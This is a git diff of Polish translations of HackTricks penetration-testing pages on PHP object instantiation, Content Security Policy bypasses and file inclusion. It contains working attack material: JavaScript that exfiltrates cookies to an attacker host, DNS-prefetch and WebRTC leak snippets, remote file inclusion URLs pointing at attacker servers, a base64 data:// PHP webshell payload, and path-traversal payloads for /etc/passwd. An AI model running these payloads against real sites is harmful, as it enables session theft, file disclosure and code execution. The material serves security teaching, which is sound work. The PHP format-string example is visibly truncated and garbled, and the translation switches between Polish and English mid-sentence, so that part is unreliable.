Parser VID w Imagick, wykorzystujący protokół **msl**, potrafi obsługiwać znaki wieloznaczne w ścieżkach plików, umożliwiając przeniesienie pliku tymczasowego do wybranej lokalizacji. Metoda ta daje dodatkową drogę do osiągnięcia arbitralnego zapisu plików w systemie plików. -### Awaria PHP + Atak Brute Force +### PHP Crash + Brute Force -Metoda opisana w [**oryginalnym opisie**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują awarię serwera przed usunięciem. Poprzez atak brute force na nazwę tymczasowego pliku, możliwe jest, aby Imagick wykonał dowolny kod PHP. Jednak ta technika okazała się skuteczna tylko w przestarzałej wersji ImageMagick. +Metoda opisana w [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) polega na przesyłaniu plików, które powodują crash serwera przed ich usunięciem. Poprzez brute-forcing nazwy pliku tymczasowego, Imagick może wykonać arbitralny kod PHP. Jednak technika ta okazała się skuteczna tylko w przestarzałej wersji ImageMagick. -## References +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Gdy nazwa klasy jest kontrolowana przez dane wejściowe użytkownika (np. `new $_GET['model']()`), w PHP 7.0.0 wprowadzono przejściowy błąd podczas refaktoryzacji `Throwable`, w którym silnik błędnie traktował nazwę klasy jako format string dla printf podczas rozwiązywania. To umożliwia klasyczne prymitywy w stylu printf w PHP: leaks with `%p`, kontrolę liczby zapisów przez specyfikatory szerokości oraz arbitralne zapisy z `%n` przeciwko wskaźnikom w procesie (np. wpisy GOT w buildach ELF). + +Minimalny przykład odtwarzający podatność: +```php +d%$n`, aby doprowadzić do częściowego nadpisania. + +## Źródła - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 08a9e2c6b..d81e586db 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,30 +2,30 @@ {{#include ../../banners/hacktricks-training.md}} -## Co to jest CSP +## Czym jest CSP -Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. +Content Security Policy (CSP) jest rozpoznawana jako technologia przeglądarki, której głównym celem jest **ochrona przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i określanie ścieżek oraz źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Do takich zasobów należą elementy takie jak obrazy, ramki oraz JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu z łańcuchów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. -Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia. +Wdrożenie CSP odbywa się przez **nagłówki odpowiedzi** lub przez umieszczenie **meta elementów w stronie HTML**. Przeglądarki egzekwują tę politykę i natychmiast blokują wykryte naruszenia. -- Wdrożone za pomocą nagłówka odpowiedzi: +- Implemented via response header: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` -- Zaimplementowane za pomocą tagu meta: +- Zaimplementowane za pomocą meta tagu: ```xml ``` ### Nagłówki -CSP może być egzekwowany lub monitorowany za pomocą tych nagłówków: +CSP można egzekwować lub monitorować za pomocą następujących nagłówków: -- `Content-Security-Policy`: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia. -- `Content-Security-Policy-Report-Only`: Używany do monitorowania; raportuje naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych. +- `Content-Security-Policy`: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia. +- `Content-Security-Policy-Report-Only`: Używany do monitorowania; zgłasza naruszenia bez ich blokowania. Idealny do testowania w środowiskach przedprodukcyjnych. ### Definiowanie zasobów -CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej treści, kontrolując aspekty takie jak wykonanie JavaScript w linii i użycie `eval()`. Przykładowa polityka to: +CSP ogranicza źródła ładowania zarówno treści aktywnych, jak i pasywnych, kontrolując takie aspekty jak wykonywanie inline JavaScript i użycie `eval()`. Przykładowa polityka to: ```bash default-src 'none'; img-src 'self'; @@ -37,44 +37,44 @@ frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` -### Dyrektywy +### Directives -- **script-src**: Zezwala na określone źródła dla JavaScript, w tym adresy URL, skrypty inline oraz skrypty wywoływane przez obsługiwane zdarzenia lub arkusze stylów XSLT. -- **default-src**: Ustala domyślną politykę pobierania zasobów, gdy brak jest konkretnych dyrektyw pobierania. -- **child-src**: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek. -- **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest. -- **frame-src**: Ogranicza adresy URL dla ramek. -- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak ``, ` // The bot will load an URL with the payload @@ -545,24 +546,24 @@ console.log(prefix) run() ``` -### Via Bookmarklets +### Przez Bookmarklets -Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na zakładkę przeglądarki**. Ta zakładka zawierałaby **złośliwy kod javascript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka czy tokeny. +Ten atak zakłada pewien social engineering, w którym atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na bookmarklet przeglądarki**. Ten bookmarklet zawierałby **złośliwy kod javascript**, który po przeciągnięciu i upuszczeniu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak cookies lub tokens. -Dla uzyskania więcej informacji [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass by restricting CSP -W [**tym opisie CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, który zabraniał ładowania konkretnego pliku JS, który następnie, poprzez **zanieczyszczenie prototypu** lub **dom clobbering**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**. +In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. -Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**: +You can **restrict a CSP of an Iframe** with the **`csp`** attribute: ```html ``` -W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **wstrzykiwanie HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\ -CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** oraz **włączając konkretny skrypt inline za pomocą sha**: +W [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), możliwe było poprzez **HTML injection** dodatkowo **restrict** **CSP**, dzięki czemu skrypt zapobiegający CSTI został wyłączony i w konsekwencji **vulnerability became exploitable.**\ +CSP można uczynić bardziej restrykcyjnym używając **HTML meta tags**, a inline scripts można wyłączyć poprzez **removing** **entry** umożliwiający ich **nonce** i **enable specific inline script via sha**: ```html ``` -### JS exfiltracja z Content-Security-Policy-Report-Only +### JS exfiltration z Content-Security-Policy-Report-Only -Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem **`Content-Security-Policy-Report-Only`** z **wartością kontrolowaną przez ciebie** (może z powodu CRLF), możesz skierować go na swój serwer, a jeśli **owiniesz** **treść JS**, którą chcesz wyeksfiltrować, w **``, zauważ, że ten **skrypt** zostanie **załadowany**, ponieważ jest **dozwolony przez 'self'**. Ponadto, ponieważ WordPress jest zainstalowany, atakujący może wykorzystać **atak SOME** poprzez **podatny** **punkt końcowy callback**, który **omija CSP**, aby dać więcej uprawnień użytkownikowi, zainstalować nową wtyczkę...\ -Aby uzyskać więcej informacji na temat tego, jak przeprowadzić ten atak, sprawdź [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) +Attacker może wykorzystać ten endpoint, aby **wygenerować a SOME attack** przeciwko WordPress i **osadzić** go wewnątrz `` — zwróć uwagę, że ten **script** zostanie **wczytany**, ponieważ jest **dozwolony przez 'self'**. Co więcej, i ponieważ WordPress jest zainstalowany, attacker może wykorzystać **SOME attack** przez podatny **callback** endpoint, który **bypasses the CSP**, aby nadać użytkownikowi większe uprawnienia, zainstalować nowy plugin...\ +For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses -Jeśli istnieje surowy CSP, który nie pozwala na **interakcję z zewnętrznymi serwerami**, istnieje kilka rzeczy, które zawsze możesz zrobić, aby wyekstrahować informacje. +If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. ### Location -Możesz po prostu zaktualizować lokalizację, aby wysłać poufne informacje do serwera atakującego: +You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` -### Meta tag +### Znacznik meta -Możesz przekierować, wstrzykując tag meta (to jest tylko przekierowanie, to nie ujawnia treści) +Możesz przekierować, wstrzykując znacznik meta (to jest tylko przekierowanie, to nie spowoduje leak zawartości) ```html ``` ### DNS Prefetch -Aby ładować strony szybciej, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i przechowywać je w pamięci podręcznej do późniejszego użycia.\ -Możesz wskazać przeglądarkę, aby wstępnie rozwiązała nazwę hosta za pomocą: `` +Aby szybciej ładować strony, przeglądarki będą wstępnie rozwiązywać nazwy hostów na adresy IP i buforować je do późniejszego użycia.\ +Możesz wskazać przeglądarce, aby wstępnie rozwiązała nazwę hosta za pomocą: `` -Możesz nadużyć tego zachowania, aby **wyekstrahować wrażliwe informacje za pomocą zapytań DNS**: +Możesz nadużyć tego zachowania, aby **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] @@ -680,13 +698,13 @@ Aby temu zapobiec, serwer może wysłać nagłówek HTTP: X-DNS-Prefetch-Control: off ``` > [!TIP] -> Najwyraźniej ta technika nie działa w przeglądarkach bez interfejsu graficznego (boty) +> Najwyraźniej ta technika nie działa w headless browsers (bots) ### WebRTC -Na kilku stronach można przeczytać, że **WebRTC nie sprawdza polityki `connect-src`** CSP. +Na kilku stronach można przeczytać, że **WebRTC nie sprawdza polityki `connect-src` w CSP**. -W rzeczywistości można _leak_ informacje za pomocą _żądania DNS_. Sprawdź ten kod: +W rzeczywistości możesz _leak_ informacje używając _DNS request_. Sprawdź ten kod: ```javascript ;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) @@ -708,7 +726,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ### CredentialsContainer -Popup z poświadczeniami wysyła żądanie DNS do iconURL bez ograniczeń na stronie. Działa tylko w bezpiecznym kontekście (HTTPS) lub na localhost. +Wyskakujące okienko poświadczeń wysyła zapytanie DNS do iconURL bez ograniczeń nałożonych przez stronę. Działa tylko w bezpiecznym kontekście (HTTPS) lub na localhost. ```javascript navigator.credentials.store( new FederatedCredential({ @@ -728,7 +746,7 @@ iconURL:"https:"+your_data+"example.com" [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) -## Odniesienia +## Źródła - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) @@ -738,6 +756,7 @@ iconURL:"https:"+your_data+"example.com" - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index b7fe8d8c6..f5be73669 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -4,14 +4,14 @@ ## File Inclusion -**Remote File Inclusion (RFI):** Plik jest ładowany z zdalnego serwera (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to domyślnie **wyłączone** (**allow_url_include**).\ +**Remote File Inclusion (RFI):** Plik jest ładowany z serwera zdalnego (Najlepiej: możesz napisać kod i serwer go wykona). W php jest to **wyłączone** domyślnie (**allow_url_include**).\ **Local File Inclusion (LFI):** Serwer ładuje lokalny plik. -Luka występuje, gdy użytkownik w jakiś sposób może kontrolować plik, który ma zostać załadowany przez serwer. +Luka występuje, gdy użytkownik w pewien sposób kontroluje plik, który ma zostać załadowany przez serwer. -Funkcje **PHP** podatne: require, require_once, include, include_once +Funkcje **PHP** podatne na atak: require, require_once, include, include_once -Ciekawe narzędzie do wykorzystania tej podatności: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) +Ciekawe narzędzie do eksploatacji tej luki: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) ## Blind - Interesting - LFI2RCE files ```python @@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../ ``` ### **Linux** -**Łącząc kilka list LFI \*nix i dodając więcej ścieżek, stworzyłem tę jedną:** +**Mieszając kilka \*nix list LFI i dodając więcej ścieżek stworzyłem tę:** {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}} -Spróbuj także zmienić `/` na `\`\ +Spróbuj także zamienić `/` na `\`\ Spróbuj także dodać `../../../../../` -Listę, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) +Lista, która używa kilku technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) ### **Windows** @@ -40,22 +40,22 @@ Połączenie różnych wordlists: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}} -Spróbuj także zmienić `/` na `\`\ +Spróbuj także zamienić `/` na `\`\ Spróbuj także usunąć `C:/` i dodać `../../../../../` -Listę, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy vulnerability istnieje) można znaleźć [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) +Lista, która używa kilku technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje) znajduje się [tutaj](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) ### **OS X** -Sprawdź listę LFI dla Linux. +Sprawdź listę LFI linux. ## Podstawowe LFI i obejścia -Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być też zastosowane do Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](). +Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](). ``` http://example.com/index.php?page=../../../etc/passwd ``` -### traversal sequences usuwane nierekursywnie +### sekwencje traversal usuwane nierekurencyjnie ```python http://example.com/index.php?page=....//....//....//etc/passwd http://example.com/index.php?page=....\/....\/....\/etc/passwd @@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass omijający dodawanie dodatkowych znaków na końcu podanego łańcucha (bypass of: $\_GET\['param']."php") +Bypass dodawania dodatkowych znaków na końcu podanego ciągu (bypass of: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 ``` ### Z istniejącego folderu -Być może back-end sprawdza ścieżkę folderu: +Może back-end sprawdza ścieżkę folderu: ```python http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd ``` ### Eksploracja katalogów systemu plików na serwerze -System plików serwera można przeszukiwać rekursywnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu i sprawdzanie istnienia konkretnych katalogów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: +System plików serwera można eksplorować rekurencyjnie, aby zidentyfikować katalogi, nie tylko pliki, stosując określone techniki. Proces ten obejmuje ustalenie głębokości katalogu oraz sprawdzanie istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, jak to osiągnąć: -1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu poprzez pomyślne pobranie pliku /etc/passwd (dotyczy serwerów opartych na Linuksie). Przykładowy URL może wyglądać następująco, wskazując głębokość 3: +1. **Określ głębokość katalogu:** Ustal głębokość bieżącego katalogu przez pomyślne pobranie pliku `/etc/passwd` (dotyczy, jeśli serwer działa pod Linux). Przykładowy URL może być zbudowany w następujący sposób, wskazując głębokość równą trzem: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` -2. **Probe for Folders:** Dodaj nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: +2. **Skanuj katalogi:** Dołącz nazwę podejrzanego folderu (np. `private`) do URL, a następnie wróć do `/etc/passwd`. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden: ```bash http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 ``` -3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje: -- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje pod wskazaną ścieżką. -- **Zawartość `/etc/passwd`:** Potwierdzono obecność folderu `private`. -4. **Eksploracja rekurencyjna:** Odkryte foldery można dalej sprawdzać pod kątem podkatalogów lub plików używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). +3. **Zinterpretuj wyniki:** Odpowiedź serwera wskazuje, czy folder istnieje: +- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji. +- **Zawartość `/etc/passwd`:** Potwierdza to obecność folderu `private`. +4. **Eksploracja rekurencyjna:** Odnalezione foldery można dalej badać w poszukiwaniu podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI). -Dla eksploracji katalogów w innych lokalizacjach systemu plików, odpowiednio dostosuj payload. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj: +Dla eksploracji katalogów w innych lokalizacjach systemu plików, dostosuj payload odpowiednio. Na przykład, aby sprawdzić czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog jest na głębokości 3), użyj: ```bash http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd ``` ### **Path Truncation Technique** -Path truncation is a method employed to manipulate file paths in web applications. Często jest wykorzystywana do uzyskania dostępu do plików z ograniczonym dostępem przez obejście mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmodyfikowaniu przez mechanizm bezpieczeństwa nadal będzie wskazywać na żądany plik. +Path truncation jest metodą stosowaną do manipulowania ścieżkami plików w aplikacjach webowych. Często wykorzystywana jest do uzyskania dostępu do plików objętych ograniczeniami przez obejście pewnych mechanizmów bezpieczeństwa, które dopisują dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która po zmianie przez mechanizm bezpieczeństwa nadal wskazuje żądany plik. -In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. Na przykład: +W PHP różne reprezentacje ścieżki pliku mogą być traktowane jako równoważne ze względu na charakter systemu plików. Na przykład: - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path. - Gdy ostatnie 6 znaków to `passwd`, dopisanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku. -- Podobnie, jeśli do ścieżki pliku dopisane jest `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskiwany jest dostęp. +- Podobnie, jeśli do ścieżki pliku dopisano `.php` (np. `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego następuje dostęp. -Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego wrażliwe dane (informacje o kontach użytkowników): +Poniższe przykłady pokazują, jak wykorzystać path truncation do uzyskania dostępu do `/etc/passwd`, częstego celu ze względu na jego poufną zawartość (informacje o kontach użytkowników): ``` http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. @@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale liczba ta może się różnić w zależności od konfiguracji serwera. +W tych scenariuszach liczba potrzebnych traversals może wynosić około 2027, ale ta wartość może się różnić w zależności od konfiguracji serwera. -- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) połączone z dodatkowymi dot segments i znakami mogą być użyte do nawigacji po systemie plików, skutecznie ignorując przez serwer dołączone ciągi znaków. -- **Determining the Required Number of Traversals**: Metodą prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebnych do przejścia do katalogu root, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (np. `.php`) zostaną zneutralizowane, podczas gdy żądana ścieżka (`/etc/passwd`) pozostanie nienaruszona. -- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest używana jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek serwera. +- **Using Dot Segments and Additional Characters**: Sekwencje traversal (`../`) w połączeniu z dodatkowymi dot segments i znakami można użyć do nawigacji po systemie plików, co pozwala efektywnie zignorować przez serwer dołączone ciągi znaków. +- **Determining the Required Number of Traversals**: Poprzez metodę prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebną do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) są zneutralizowane, ale żądana ścieżka (`/etc/passwd`) pozostaje nienaruszona. +- **Starting with a Fake Directory**: Częstą praktyką jest zaczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest stosowana jako środek ostrożności lub aby spełnić wymagania logiki parsowania ścieżek serwera. -Stosując techniki path truncation, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często niezbędne, aby znaleźć najbardziej efektywną metodę. +When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method. **This vulnerability was corrected in PHP 5.3.** @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -W php jest to wyłączone domyślnie, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby działało, i w takim przypadku możesz dołączyć plik PHP ze swojego serwera i uzyskać RCE: +W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby to działało — w takim przypadku możesz include'ować plik PHP z twojego serwera i uzyskać RCE: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP filtruje dostęp do zewnętrznych stron, [według tego wpisu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE: +Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [według tego posta](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), można na przykład użyć protokołu data z base64, aby zdekodować b64 PHP code i uzyskać RCE: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> W poprzednim kodzie na końcu dodano `+.txt`, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a w konsekwencji wykonany). +> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ attacker potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany). -Inny przykład **nie używający protokołu `php://`** to: +Inny przykład **nie używający protokołu `php://`** byłby: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Element root w Pythonie +## Python — element główny -W Pythonie, w kodzie takim jak ten: +W Pythonie w kodzie takim jak poniższy: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje po prostu usunięta**: +Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje usunięta**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): +To zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): -> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną. +> Jeżeli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką absolutną. -## Java Listowanie katalogów +## Java — listowanie katalogów -Wygląda na to, że jeśli masz Path Traversal w Java i **zażądasz katalogu** zamiast pliku, **zwrócona zostanie lista zawartości katalogu**. Nie będzie to miało miejsca w innych językach (o ile wiem). +Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, zwracana jest **lista zawartości katalogu**. To nie będzie się zdarzać w innych językach (o ile wiem). -## Top 25 parameters +## Top 25 parametrów -Oto lista top 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Poniżej lista 25 najważniejszych parametrów, które mogą być podatne na local file inclusion (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,38 +211,38 @@ Oto lista top 25 parametrów, które mogą być podatne na local file inclusion ?mod={payload} ?conf={payload} ``` -## LFI / RFI używające wrapperów i protokołów PHP +## LFI / RFI przy użyciu PHP wrapperów i protokołów ### php://filter -Filtry PHP pozwalają wykonywać podstawowe **operacje modyfikacji danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów: +PHP filters umożliwiają wykonywanie 